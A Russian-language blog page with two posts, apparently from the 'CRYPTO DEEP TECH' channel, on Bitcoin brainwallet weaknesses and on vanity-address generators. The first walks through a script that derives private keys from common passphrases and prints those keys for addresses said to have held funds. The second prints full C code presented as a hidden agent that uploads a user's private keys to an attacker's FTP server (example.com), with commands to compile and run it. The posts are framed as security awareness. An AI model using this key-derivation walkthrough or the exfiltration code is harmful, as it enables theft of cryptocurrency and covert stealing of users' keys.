четверг, 22 сентября 2022 г.

Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

 CRYPTO DEEP TECH

Для создания Биткоин кошелька существует множество форм. Один из первых методов создания Биткойн кошелька был известен как BrainWallet.
BrainWallet удобен в том плане, что позволяет хранить в памяти или в блокноте «парольную фразу«. Парольная фраза хешировуется с использованием алгоритма SHA-256, и используется в качестве начального числа для создания приватного ключа.

Из-за своей популярности и простоты использования, многие BrainWallet за последние несколько лет использовались со слабыми парольными фразами.

Этот слабый способ генерации приватного ключа позволил злоумышленникам украсть довольно большое количество монет BTC, просто взломав пароль против хэшей, хранящихся в блокчейне. Хотя эта атака известна уже много лет, она стала широко известна в 2015 году благодаря работе, проделанной Райан Кастеллуччи (Ryan Castellucci)

7 августа 2015 года

Райан Кастеллуччи (Ryan Castellucci) выступил на DEFCON23 с докладом о взломе паролей BrainWallet. Хотя к этому моменту парольные фразы для BrainWallet использовались уже много лет, разговор помог донести эти проблемы до более широкой общественности

Document [PDF]Cracking Cryptocurrency Brainwallets Ryan Castellucci

Райан опубликовал результаты своей работы по взлому BrainWallet в сочетании с инструментом под названием BrainFlayer проверенный взломщик для криптовалютных кошельков BrainWallet) и других алгоритмов с низким уровнем энтропии.

УСКОРЕНИЕ С ПОМОЩЬЮ GPU

Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

На данный момент пробный cracker от Райана brainflayer модернизировали в различные софты, утилиты, скрипты и тому подобное, но все же был создан графический ускоритель для BrainWallet при помощи поддержки среды выполнения графического процессора. Такие ускорители носят название TeslaBrainWallet от названия семейства вычислительных систем NVIDIA® Tesla® V100

Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

Фишинг

Многие сторонники Биткоина часто приводят BrainWallet в качестве хорошего метода защиты средств от возможной конфискации, но к сожалению существуют много ловушек для Bitcoin клиента Electrum.

Хотя Electrum поддерживает все популярных аппаратных кошельки (например, TrezorLedger и пр.) Вплоть до установления сторонних плагинов для расширения функционала кошелька, но если вы установите старую версию Биткоин кошелька вы можете подвергнуть риску потерять все криптовалютные монеты в кошельке.

Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

Эта ловушка популярна под словом "фишинг". В криптосообществе есть очень много печальных истории. Одним из самых крупных потерь от фишинга на сумму 1400 BTC (16 миллионов долларов США)

Согласно порталу криптоиндустрии «CryptoPotato»

Cамая крупная потеря от фишинга на сумму 1400 BTC (16 миллионов долларов США)
Cамая крупная потеря от фишинга на сумму 1400 BTC (16 миллионов долларов США)

Анонимный биткойн-инвестор по имени «1400BitcoinStolen» заявил в воскресенье, что он потерял 1400 BTC после «глупой» установки старой версии популярного кошелька Electrum, но это оказалось фишинговой аферой.

Ловушка:

Объясняя неприятный инцидент, потерпевший сказал, что не мог получить доступ к средствам с 2017 года. После настройки кошелька и попытки перевести 1 BTC он получил всплывающее сообщение с просьбой обновить свою систему безопасности, прежде чем он сможет осуществить перевод. К сожалению это была ловушка — попытка фишинга. По словам жертвы, он установил обновление, и все его средства были автоматически переведены на адрес кошелька хакеров, что сделало мошенников богаче на 16 миллионов долларов США.

Как не стать жертвой фишинга?

В наших ранних публикациях мы настойчиво рекомендуем всем:

  • использовать только проверенное ПО;
  • ознакомиться с исходным кодом;
  • делать сборку самостоятельно;
  • делать обновление;

Слабые парольные фразы

Перейдем к экспериментальной части:

Откроем [TerminalGoogleColab].

Воспользуемся репозиторием «13TeslaBrainWallet».

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/13TeslaBrainWallet/

ls
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

Установим pip2 для Python 2.7

(т.к. с 20 сентября 2022 года Google Colab не использует "pip2" по умолчанию для "Python 2.7")

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

Установим библиотеку криптографических подписей ECDSA

pip2 install ecdsa
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

Запуск Python-скрипта: teslaBTC.py

История слабых парольных фраз с положительным балансом монет BTC

Откроем bitaddress и проверим:


python2 teslaBTC.py "arretonprimaryschool"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: arretonprimaryschool
Private key: 0e57a34ee4cf2242bc331494981aa896e803c598cc4a0f890b2e85d6acb85f29
Bitcoin address: 16jLdtAxgXVwcG93MyPcNALXMCv3D6dyDB
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "correct horse battery staple"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: correct horse battery staple
Private key: c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a
Bitcoin address U: 1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T
Bitcoin address C: 1C7zdTfnkzmr13HfA2vNm5SJYRK6nEKyq8
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "This is the way the world ends."
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: This is the way the world ends.
Private key: 1bad2815705c693b4df94badf0f757c601d841bff62c40f9546432034a4c29b7
Bitcoin address: 1DnqpnCFiXqMhvRfdRzPcRao7yxyoeXgjf
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "The quick brown fox jumps over the lazy dog"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: The quick brown fox jumps over the lazy dog
Private key: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
Bitcoin address: 13w4Hn1BJQM4bjZZgYtXpyp4cioiw29tKj
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "just let the lovin take ahold"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: just let the lovin take ahold
Private key: 5e6fa5565782e85f3e305c422388e687e4fc8c2e7c572748f57ff7a4d6ff736a
Bitcoin address: 1H6nTPQ8wqdQ3QFrGc1qy9r63acpTAkwvc
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "en un lugar de la mancha"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: en un lugar de la mancha
Private key: e9f852cd97283461e254da265a27d2bda07f245cb5f8a6ee622355fcec63eb8c
Bitcoin address: 1Gwd5BQCDsFrEvokGkto945smazwEMKqdo
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "The quick brown fox jumped over the lazy dog."
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: The quick brown fox jumped over the lazy dog.
Private key: 68b1282b91de2c054c36629cb8dd447f12f096d3e3c587978dc2248444633483
Bitcoin address: 1E2Wgex1ZGfZ9gb4MBubJJ5bnABkk2pbZf
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "Thats what she said 1974"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: Thats what she said 1974
Private key: 0e3630f0f829d93afd8569f7c50aaced3d930353db8468d8c42b58d7f5ce1fdb
Bitcoin address: 113W1qXf6DsJFtqMnR53tqvLrVfjkjR7g5
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

python2 teslaBTC.py "lorem ipsum dolor sit amet"
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз
Pass phrase: lorem ipsum dolor sit amet
Private key: 2f8586076db2559d3e72a43c4ae8a1f5957abb23ca4a1f46e380dd640536eedb
Bitcoin address: 1KRGyNbq2yM1vAXscib74Snp6AUuUHVi2g
Tesla BrainWallet ловушки от Биткоин кошельков остерегаемся фишинга и популярных парольных фраз

Литература:

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegramhttps://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/r0fTtBDWTnw

Источник: https://cryptodeep.ru/tesla-brainwallet


среда, 7 сентября 2022 г.

Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

 CRYPTO DEEP TECH

В криптосообществе за многие годы образовался целый культ по созданию красивых адресов для криптокошельков. Каждый желающий может сгенерировать для себя «красивый» адрес, который будет не только уникальным, но и будет иметь в себе определенное сочетание букв и цифр. Это очень увлекательный и интересный процесс, но нельзя полностью исключать риск, связанный с привлечением третьей стороны и перехватом приватного ключа к криптокошельку. Все мы когда-либо слышали о независимых агрегаторах CoinMarketCap и CoinGecko это самые популярные площадки для отслеживая цен на бирже, но в этой статье мы не будем рассматривать механизмы и функции этих площадок. Речь пойдет о скрытых кодах в vanitygen + oclvanitygen и стремительное распространение их на популярных площадках.

Это исследовательский проект создан в целях информационной безопасности.

Многим пользователям не устраивают стандартные рандомные адреса криптокошелька и именно по этой причине они используют различные программы, утилиты и плагины для создание красивых криптовалютных адресов.

Согласно порталу TAdviser жертвами все чаще становятся из-за использование не проверенное программное обеспечение.

Coingecko-VanityGen — это утилита, работающая через командную строку, которая способна генерировать криптовалютные адреса по заданным первоначальным параметрам.

Исходный код "Coingecko-VanityGen" для создания персонализированных адресов.
Исходный код «Coingecko-VanityGen» для создания персонализированных адресов.

Подбор утилиты основан на вероятностном поиске, на который требуется некоторое время.
Время зависит от сложности заданного шаблона, скорости компьютера и удачливости. Для повышение скорости генерации криптовалютных адресов существует oclvanitygen – который использует OpenCLсовместимые GPU

Во многих наших исследованиях мы используем Google Colab и для собственного ознакомления мы сделаем разбор для файлов Coingecko-VanityGen в репозитории 12CoingeckoAgentFtpupload

Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Coingecko-VanityGen работает при помощи поддержки среды выполнения графического процессора (Google Colab) и по собственным параметрам генерирует красивые адреса криптокошельков для полного списка агрегатора Coingecko.

Как сохранить приватные ключи?

Чтобы понять и разобраться мы перейдем к экспериментальной части:

Откроем [TerminalGoogleColab].

Воспользуемся репозиторием «12CoingeckoAgentFtpupload».

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/12CoingeckoAgentFtpupload/

ls
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Обновим и установим g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Сборка:

make
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Запустим команду: ls и мы видим что coingeckogen создан успешно!

Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Запустим LIST и проверим все существующие криптовалюты из агрегатора CoinGecko

./coingeckogen -C LIST
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Запустим «coingeckogen» и сгенерируем Биткоин Адрес с префиксом «1DEEP»:

./coingeckogen 1DEEP
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа
Pattern: 1DEEP
Address: 1DEEPQxozZXeUmuVZxKb7JjHq28DhX99AG
Privkey: 5JdG1jvsDgHrS8E8NpRLabzrA1tCbR6ePp9zvv1q1dV6efpSqMH
crypto > 

Откроем bitaddress и проверим:

bitaddress
bitaddress

Почему скомпилированные программы могут раскрыть приватные ключи?

www.securitylab.ru/news/531888.php
www.securitylab.ru/news/531888.php

Вы можете ознакомится статьей в информационном портале SecurityLab

В исходный код программы может быть вшит секретный код:

Обратите внимание на код ftpupload.c

cURL — кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом URL.

Этот код может отправить приватные ключи в FTP - сервер злоумышленника

/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2022, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at https://curl.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * SPDX-License-Identifier: curl
 *
 ***************************************************************************/
#include <stdio.h>
#include <string.h>
 
#include <curl/curl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#ifdef WIN32
#include <io.h>
#else
#include <unistd.h>
#endif
 
/* <DESC>
 * Performs an FTP upload and renames the file just after a successful
 * transfer.
 * </DESC>
 */
 
#define LOCAL_FILE      "/tmp/Result.txt"
#define UPLOAD_FILE_AS  "Result.txt"
#define REMOTE_URL      "ftp://example.com/"  UPLOAD_FILE_AS
#define RENAME_FILE_TO  "private-key-delivered.txt"
 
/* NOTE: if you want this example to work on Windows with libcurl as a
   DLL, you MUST also provide a read callback with CURLOPT_READFUNCTION.
   Failing to do so will give you a crash since a DLL may not use the
   variable's memory when passed in to it from an app like this. */
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *stream)
{
  unsigned long nread;
  /* in real-world cases, this would probably get this data differently
     as this fread() stuff is exactly what the library already would do
     by default internally */
  size_t retcode = fread(ptr, size, nmemb, stream);
 
  if(retcode > 0) {
    nread = (unsigned long)retcode;
    fprintf(stderr, "*** We read %lu bytes from file\n", nread);
  }
 
  return retcode;
}
 
int main(void)
{
  CURL *curl;
  CURLcode res;
  FILE *hd_src;
  struct stat file_info;
  unsigned long fsize;
 
  struct curl_slist *headerlist = NULL;
  static const char buf_1 [] = "RNFR " UPLOAD_FILE_AS;
  static const char buf_2 [] = "RNTO " RENAME_FILE_TO;
 
  /* get the file size of the local file */
  if(stat(LOCAL_FILE, &file_info)) {
    printf("Couldn't open '%s': %s\n", LOCAL_FILE, strerror(errno));
    return 1;
  }
  fsize = (unsigned long)file_info.st_size;
 
  printf("Local file size: %lu bytes.\n", fsize);
 
  /* get a FILE * of the same file */
  hd_src = fopen(LOCAL_FILE, "rb");
 
  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);
 
  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* build a list of commands to pass to libcurl */
    headerlist = curl_slist_append(headerlist, buf_1);
    headerlist = curl_slist_append(headerlist, buf_2);
 
    /* we want to use our own read function */
    curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
 
    /* enable uploading */
    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
 
    /* specify target */
    curl_easy_setopt(curl, CURLOPT_URL, REMOTE_URL);
 
    /* pass in that last of FTP commands to run after the transfer */
    curl_easy_setopt(curl, CURLOPT_POSTQUOTE, headerlist);
 
    /* now specify which file to upload */
    curl_easy_setopt(curl, CURLOPT_READDATA, hd_src);
 
    /* Set the size of the file to upload (optional).  If you give a *_LARGE
       option you MUST make sure that the type of the passed-in argument is a
       curl_off_t. If you use CURLOPT_INFILESIZE (without _LARGE) you must
       make sure that to pass in a type 'long' argument. */
    curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE,
                     (curl_off_t)fsize);
 
    /* Now run off and do what you have been told! */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));
 
    /* clean up the FTP commands list */
    curl_slist_free_all(headerlist);
 
    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  fclose(hd_src); /* close the local file */
 
  curl_global_cleanup();
  return 0;
}

Для теста загрузим файл ftpupload.c в каталог «12CoingeckoAgentFtpupload»

Скомпилируем Agent Ftpupload:

gcc -o agentftpupload ftpupload.c -lcurl
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

Права доступа:

chmod +x agentftpupload
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа
./agentftpupload

Процесс перехвата приватного ключа:

Как мы говорили выше чтобы понять как происходит перехват приватного ключа запустим пошагово все команды из исходного кода. Для этого мы создадим тестовый сервер с каталогом «cryptodeeptech»:

Процесс перехвата приватного ключа
Процесс перехвата приватного ключа

Как мы видим из демонстрационного примера в тестовый сервер был загружен файл: private-key-delivered.txt

private-key-delivered.txt — это файл где содержится приватные ключи пользователя программного обеспечение.

Весь процесс происходит скрыто от пользователя.

Мы настоятельно рекомендует:

  • использовать только проверенное ПО;
  • ознакомиться с исходным кодом;
  • делать сборку самостоятельно;
  • делать обновление;

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegramhttps://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/sB91EE-1mJo

Источник: https://cryptodeep.ru/coingecko-agent-ftpupload


Bit-flipping attack на Wallet.dat: Риски использования AES-256-CBC без аутентификации, эксплуатация и извлечение приватных ключей из Bitcoin Core

  Crypto Deep Tech В программе Bitcoin Core для защиты пароля кошелька используется симметричный криптографический алгоритм  AES-256-CBC . Э...